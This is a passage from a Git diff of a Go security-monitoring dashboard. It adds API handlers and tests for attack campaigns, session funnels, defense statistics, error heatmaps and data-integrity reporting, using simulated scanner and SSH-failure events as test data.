if err != nil || n < 60 || n > 86400 {
badRequest(w, "gap must be 60..86400 seconds")
return store.PeriodOut{}, false
}
pq.Gap = n
}
local, peers, only, ok := s.studyHosts(w, eq.Host)
if !ok {
return store.PeriodOut{}, false
}
var parts []store.PeriodOut
var studies map[string]store.PeerStudy
if peers {
studies = s.opt.Hub.StudiesFor(r.Context(), pq, only)
}
if local || len(studies) == 0 {
lq := pq
switch {
case !local:
lq.Host = only
case s.opt.Hub != nil:
lq.Host = s.opt.Store.Name()
}
parts = append(parts, s.opt.Store.Period(lq))
}
for _, p := range s.opt.Hub.PeerNames() {
if st, ok := studies[p]; ok {
parts = append(parts, st.Period)
}
}
out := store.MergePeriods(parts)
rg, _ := s.opt.Store.ResolveRange(r.URL.Query().Get("range"), r.URL.Query().Get("from"), r.URL.Query().Get("to"))
out.Range = rg.Info(s.opt.Now().Unix())
return out, true
}
+81
View File
@@ -0,0 +1,81 @@
package server
import (
"net/http"
"path/filepath"
"strconv"
"testing"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/evlog"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
func campaignServer(t *testing.T) http.Handler {
st := store.New(store.Config{Name: "oracle", Version: "t", Retention: 720 * time.Hour})
l, _ := evlog.Open(evlog.Options{Dir: filepath.Join(t.TempDir(), "events")})
st.SetEventLog(l)
now := time.Now()
for _, ip := range []string{"20.0.0.1", "20.0.0.2", "20.0.0.3"} {
for _, p := range []string{"/wp-login.php", "/xmlrpc.php"} {
st.Ingest(core.Event{Time: now.Add(-time.Hour), IP: ip, Cat: core.Scanner, Source: "traefik", Method: "GET", Path: p, Status: 404, UA: "zgrab/0.x"})
}
}
return New(Options{Token: userTok, Version: "t", Store: st})
}
func TestCampaignsAndSessionsAPI(t *testing.T) {
h := campaignServer(t)
auth := map[string]string{"Authorization": "Bearer " + userTok}
list := getJSON(t, h, "/api/v1/campaigns?range=24h", auth)
cs := list["campaigns"].([]any)
if len(cs) != 1 || list["ips_n"].(float64) != 3 {
t.Fatalf("campaigns: %v", list)
}
id := cs[0].(map[string]any)["id"].(string)
d := getJSON(t, h, "/api/v1/campaigns/"+id+"?range=24h", auth)
if len(d["members"].([]any)) != 3 {
t.Fatalf("members: %v", d)
}
f := getJSON(t, h, "/api/v1/sessions/funnel?range=24h", auth)
if f["sessions_n"].(float64) < 3 || f["stages"] == nil {
t.Fatalf("funnel: %v", f)
}
for path, want := range map[string]int{
"/api/v1/campaigns/c-zzzz?range=24h": 404,
"/api/v1/campaigns/bad%20id?range=24h": 400,
"/api/v1/campaigns?range=24h&gap=1": 400,
"/api/v1/campaigns?range=24h&host=nowhere": 404,
} {
if w := do(h, "GET", path, cloneHdr(auth), nil); w.Code != want {
t.Errorf("%s: %d want %d", path, w.Code, want)
}
}
if w := do(h, "GET", "/api/v1/campaigns", nil, nil); w.Code != 401 && w.Code != 302 && w.Code != 403 {
t.Errorf("anonymous: %d", w.Code)
}
}
func TestFunnelCountsEverySession(t *testing.T) {
st := store.New(store.Config{Name: "oracle", Version: "t", Retention: 720 * time.Hour})
l, _ := evlog.Open(evlog.Options{Dir: filepath.Join(t.TempDir(), "events")})
st.SetEventLog(l)
now := time.Now()
for i := 0; i < 260; i++ {
ip := "30.0." + strconv.Itoa(i/250) + "." + strconv.Itoa(i%250+1)
st.Ingest(core.Event{Time: now.Add(-time.Hour), IP: ip, Cat: core.Scanner, Source: "traefik", Method: "GET", Path: "/.env", Status: 404, UA: "curl/8"})
}
h := New(Options{Token: userTok, Version: "t", Store: st})
f := getJSON(t, h, "/api/v1/sessions/funnel?range=24h", map[string]string{"Authorization": "Bearer " + userTok})
if f["sessions_n"].(float64) != 260 || f["sampled"] != true || len(f["sessions"].([]any)) > 200 {
t.Fatalf("funnel: sessions_n=%v sampled=%v list=%d", f["sessions_n"], f["sampled"], len(f["sessions"].([]any)))
}
sum := 0.0
for _, v := range f["stages"].(map[string]any) {
sum += v.(float64)
}
if sum != 260 || f["reached"].(map[string]any)["recon"].(float64) != 260 {
t.Fatalf("stages %v reached %v", f["stages"], f["reached"])
}
}
+16
View File
@@ -0,0 +1,16 @@
package server
import "net/http"
func init() {
registerUserRoute("GET /api/v1/defense", func(s *Server) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
pq, ok := s.windowQuery(w, r)
if !ok {
return
}
defer func() { <-s.user }()
writeJSON(w, 200, s.opt.Store.Defense(pq))
}
})
}
+61
View File
@@ -0,0 +1,61 @@
package server
import (
"path/filepath"
"testing"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/evlog"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
func TestDefenseAndTechniquesAPI(t *testing.T) {
st := store.New(store.Config{Name: "oracle", Version: "t", Retention: 720 * time.Hour, AdminUsers: []string{"lucas"}})
l, _ := evlog.Open(evlog.Options{Dir: filepath.Join(t.TempDir(), "events")})
st.SetEventLog(l)
now := time.Now()
for i := 0; i < 5; i++ {
st.Ingest(core.Event{Time: now.Add(-time.Duration(50-i) * time.Minute), IP: "8.8.4.4", Cat: core.Scanner, Source: "traefik", Method: "GET", Path: "/.env", Status: 404, UA: "nuclei"})
}
st.Ingest(core.Event{Time: now.Add(-30 * time.Minute), IP: "8.8.4.4", Cat: core.Ban, Source: "fail2ban", Jail: "sshd"})
st.Ingest(core.Event{Time: now.Add(-10 * time.Minute), IP: "8.8.4.4", Cat: core.Scanner, Source: "traefik", Method: "GET", Path: "/.env", Status: 404})
for _, u := range []string{"root", "lucas", "root"} {
st.Ingest(core.Event{Time: now.Add(-20 * time.Minute), IP: "9.9.9.9", Cat: core.SSHFail, Source: "ssh", User: u})
}
h := New(Options{Token: userTok, Version: "t", Store: st})
auth := map[string]string{"Authorization": "Bearer " + userTok}
d := getJSON(t, h, "/api/v1/defense?range=24h", auth)
if d["bans_total"].(float64) != 1 || d["bans_active"].(float64) != 1 {
t.Fatalf("bans %v", d)
}
ssh := d["ssh"].(map[string]any)
if ssh["fails"].(float64) != 3 || ssh["sources"].(float64) != 1 {
t.Fatalf("ssh %v", ssh)
}
us := ssh["users"].([]any)
if us[0].(map[string]any)["user"] != "root" || us[0].(map[string]any)["admin"] != false || us[1].(map[string]any)["admin"] != true {
t.Fatalf("users %v", us)
}
if d["leak"].(map[string]any)["ips"].(float64) != 1 {
t.Fatalf("leak %v", d["leak"])
}
if d["ttb"].(map[string]any)["median_s"].(float64) <= 0 {
t.Fatalf("ttb %v", d["ttb"])
}
if w := do(h, "GET", "/api/v1/defense?range=nope", cloneHdr(auth), nil); w.Code != 400 {
t.Fatalf("bad range: %d", w.Code)
}
if w := do(h, "GET", "/api/v1/defense?range=24h&host=zzz", cloneHdr(auth), nil); w.Code != 404 {
t.Fatalf("unknown host: %d", w.Code)
}
tq := getJSON(t, h, "/api/v1/techniques?range=24h", auth)
if tq["total"].(float64) < 1 || len(tq["tactics"].([]any)) == 0 {
t.Fatalf("techniques %v", tq)
}
if w := do(h, "GET", "/api/v1/techniques?range=24h", nil, nil); w.Code != 401 {
t.Fatalf("anonymous: %d", w.Code)
}
}
+211
View File
@@ -0,0 +1,211 @@
package server
import (
"net/http"
"sort"
"strings"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
func init() {
registerUserRoute("GET /api/v1/errors", func(s *Server) http.HandlerFunc { return s.errorsAPI })
}
// svcWindow resolves range, service and host filters shared by the health routes.
func (s *Server) svcWindow(w http.ResponseWriter, r *http.Request) (from, to int64, svc, host string, ok bool) {
rg, ok := s.rangeOf(w, r)
if !ok {
return
}
q := r.URL.Query()
now := s.opt.Store.Now().Unix()
from, to = rg.Bounds(now)
svc = q.Get("svc")
host = q.Get("host")
if host == "all" || host == s.opt.Store.Name() {
host = ""
}
if len(host) > 253 || len(svc) > 128 {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "bad host or svc"})
return 0, 0, "", "", false
}
return from, to, svc, host, true
}
type kv struct {
Key string
N uint32
}
func topKV(m map[string]uint32, n int) []kv {
out := make([]kv, 0, len(m))
for k, v := range m {
out = append(out, kv{k, v})
}
sort.Slice(out, func(a, b int) bool {
if out[a].N != out[b].N {
return out[a].N > out[b].N
}
return out[a].Key < out[b].Key
})
if len(out) > n {
out = out[:n]
}
return out
}
func errCount(c [store.NumCls]uint32) uint32 {
var n uint32
for _, v := range c {
n += v
}
return n
}
func (s *Server) errorsAPI(w http.ResponseWriter, r *http.Request) {
from, to, svc, host, ok := s.svcWindow(w, r)
if !ok {
return
}
views := s.opt.Store.Services(from, to, svc, host)
var tot [store.NumCls]uint32
var req, legit uint32
startH, endH := from/3600, to/3600
if endH-startH > 719 {
startH = endH - 719
}
nb := int(endH-startH) + 1
series := map[string][]uint32{}
for _, n := range store.ClsNames {
series[n] = make([]uint32, nb)
}
type routeOut struct {
Svc string `json:"svc"`
Route string `json:"route"`
Class string `json:"class"`
N uint32 `json:"n"`
}
var routes []routeOut
broken := map[string]*struct {
n uint32
last int64
ref string
path string
}{}
type heat struct {
alias string
total uint32
byH map[int64]uint32
}
var heats []heat
for _, v := range views {
req += v.Tot.Req
legit += v.Tot.Legit
h := heat{alias: v.Alias, byH: map[int64]uint32{}}
for i := range tot {
tot[i] += v.Tot.Cls[i]
}
for _, hr := range v.Hours {
if hr.Hour < startH || hr.Hour > endH {
continue
}
for i, n := range store.ClsNames {
series[n][hr.Hour-startH] += hr.Cls[i]
}
if c := hr.Cls[store.ClsApp]; c > 0 {
h.byH[hr.Hour] = c
h.total += c
}
}
heats = append(heats, h)
for _, e := range topKV(v.ErrRoutes, 50) {
cl, rt, _ := strings.Cut(e.Key, "|")
routes = append(routes, routeOut{v.Alias, rt, cl, e.N})
}
for k, n := range v.Broken {
p, ref, _ := strings.Cut(k, "\x00")
b := broken[k]
if b == nil {
b = &struct {
n uint32
last int64
ref string
path string
}{ref: ref, path: p}
broken[k] = b
}
b.n += n
if t := v.BrokenLast[k]; t > b.last {
b.last = t
}
}
}
sort.Slice(routes, func(a, b int) bool { return routes[a].N > routes[b].N })
if len(routes) > 50 {
routes = routes[:50]
}
type brokenOut struct {
Path string `json:"path"`
Ref string `json:"ref"`
N uint32 `json:"n"`
Last int64 `json:"last"`
}
bl := make([]brokenOut, 0, len(broken))
for _, b := range broken {
bl = append(bl, brokenOut{b.path, b.ref, b.n, b.last})
}
sort.Slice(bl, func(a, b int) bool {
if bl[a].N != bl[b].N {
return bl[a].N > bl[b].N
}
return bl[a].Path < bl[b].Path
})
if len(bl) > 50 {
bl = bl[:50]
}
// heatmap: services with most app errors, last 168 hours of the window
sort.Slice(heats, func(a, b int) bool { return heats[a].total > heats[b].total })
if len(heats) > 64 {
heats = heats[:64]
}
hStart := startH
if endH-hStart > 167 {
hStart = endH - 167
}
hours := make([]int64, 0, int(endH-hStart)+1)
for h := hStart; h <= endH; h++ {
hours = append(hours, h*3600)
}
svcs := make([]string, len(heats))
grid := make([][]uint32, len(heats))
for i, h := range heats {
svcs[i] = h.alias
grid[i] = make([]uint32, len(hours))
for j := range hours {
grid[i][j] = h.byH[hStart+int64(j)]
}
}
client := tot[store.ClsClientBroken] + tot[store.ClsClientAuth] + tot[store.ClsClientOther]
classes := map[string]uint32{
"app": tot[store.ClsApp], "proxy": tot[store.ClsProxy], "blocked": tot[store.ClsBlocked],
"attack": tot[store.ClsAttack], "bot": tot[store.ClsBot], "client": client,
}
for i, n := range store.ClsNames {
if strings.HasPrefix(n, "client_") {
classes[n] = tot[i]
}
}
errs := errCount(tot)
var rate float64
if legit > 0 {
rate = float64(tot[store.ClsApp]+tot[store.ClsProxy]) / float64(legit)
}
writeJSON(w, 200, map[string]any{
"instance": s.opt.Store.Name(), "range": map[string]int64{"from": from, "to": to}, "requests": req, "errors": errs, "legit": legit,
"app_error_rate": rate, "classes": classes,
"timeline": map[string]any{"start": startH * 3600, "step": 3600, "series": series},
"heatmap": map[string]any{"svcs": svcs, "hours": hours, "err": grid},
"broken": bl, "top_routes": routes,
})
}
+132
View File
@@ -0,0 +1,132 @@
package server
import (
"net/http"
"sort"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
type integritySource struct {
Name string `json:"name"`
State string `json:"state"`
Lines uint64 `json:"lines"`
Malformed uint64 `json:"malformed"`
Last int64 `json:"last"`
}
type integrityHost struct {
Name string `json:"name"`
Online bool `json:"online"`
LastEvent int64 `json:"last_event"`
LagS int64 `json:"lag_s"`
Hourly []uint32 `json:"hourly"`
Gaps []store.Gap `json:"gaps"`
Sources []integritySource `json:"sources"`
ParseErrorRate float64 `json:"parse_error_rate"`
}
type integrityPeer struct {
Name string `json:"name"`
Online bool `json:"online"`
Live bool `json:"live"`
LastSync int64 `json:"last_sync"`
}
type integrityGeo struct {
CityBuild int64 `json:"city_build"`
ASNBuild int64 `json:"asn_build"`
State string `json:"state"`
LastUpdate int64 `json:"last_update"`
Error string `json:"error,omitempty"`
}
type integrityOut struct {
Range store.RangeInfo `json:"range"`
FromHour int64 `json:"from_hour"`
Hosts []integrityHost `json:"hosts"`
Peers []integrityPeer `json:"peers"`
EventLog store.LogStats `json:"eventlog"`
Geo integrityGeo `json:"geo"`
}
func init() {
registerUserRoute("GET /api/v1/integrity", func(s *Server) http.HandlerFunc { return s.integrity })
}
// integrity answers "is the data complete?": events ingested per hour and
// host, silences, source and peer states, parse errors, event log and geo base.
func (s *Server) integrity(w http.ResponseWriter, r *http.Request) {
rg, ok := s.rangeOf(w, r)
if !ok {
return
}
host := r.URL.Query().Get("host")
if host == "" {
host = "all"
}
if !s.knownHost(w, host) {
return
}
now := s.opt.Now().Unix()
info := rg.Info(now)
parts, all := s.parts(r.Context(), rg, host)
fromH, toH := info.From/3600, info.To/3600
if toH-fromH > 24*31-1 {
fromH = toH - (24*31 - 1)
}
out := integrityOut{Range: info, FromHour: fromH, Hosts: []integrityHost{}, Peers: []integrityPeer{}}
seen := map[string]bool{}
for _, p := range parts {
name := p.Host
if name == "" && len(p.Hosts) > 0 {
name = p.Hosts[0].Name
}
seen[name] = true
hh := integrityHost{Name: name, Online: true, Sources: []integritySource{}}
hh.Hourly = store.HourlyFromTimeline(p.Timeline, fromH, toH)
hh.Gaps = store.FindGaps(hh.Hourly, fromH)
var lines, bad uint64
for _, src := range p.Sources {
if src.Name == "geo" {
if name == s.opt.Store.Name() {
out.Geo = integrityGeo{State: src.State, LastUpdate: src.LastEvent, Error: src.Error}
if store.GeoBuilds != nil {
out.Geo.CityBuild, out.Geo.ASNBuild = store.GeoBuilds()
}
}
continue
}
hh.Sources = append(hh.Sources, integritySource{Name: src.Name, State: src.State, Lines: src.Lines, Malformed: src.Malformed, Last: src.LastEvent})
lines += src.Lines
bad += src.Malformed
if src.LastEvent > hh.LastEvent {
hh.LastEvent = src.LastEvent
}
}
if lines+bad > 0 {
hh.ParseErrorRate = float64(bad) / float64(lines+bad)
}
if hh.LastEvent > 0 {
hh.LagS = now - hh.LastEvent
if hh.LagS < 0 {
hh.LagS = 0
}
}
out.Hosts = append(out.Hosts, hh)
}
for _, hi := range all {
if hi.Self {
continue
}
out.Peers = append(out.Peers, integrityPeer{Name: hi.Name, Online: hi.Online, Live: hi.Live, LastSync: hi.LastSeen})
if !seen[hi.Name] && (host == "all" || host == hi.Name) {
out.Hosts = append(out.Hosts, integrityHost{Name: hi.Name, Online: hi.Online, LastEvent: hi.LastSeen,
Hourly: make([]uint32, toH-fromH+1), Gaps: []store.Gap{}, Sources: []integritySource{}})
}
}
sort.SliceStable(out.Hosts, func(i, j int) bool { return out.Hosts[i].Name < out.Hosts[j].Name })
sort.SliceStable(out.Peers, func(i, j int) bool { return out.Peers[i].Name < out.Peers[j].Name })
out.EventLog = s.opt.Store.LogStats()
writeJSON(w, 200, out)
}
Loaded 100 of 396 files, more files were not shown because too many files have changed in this diff. Show more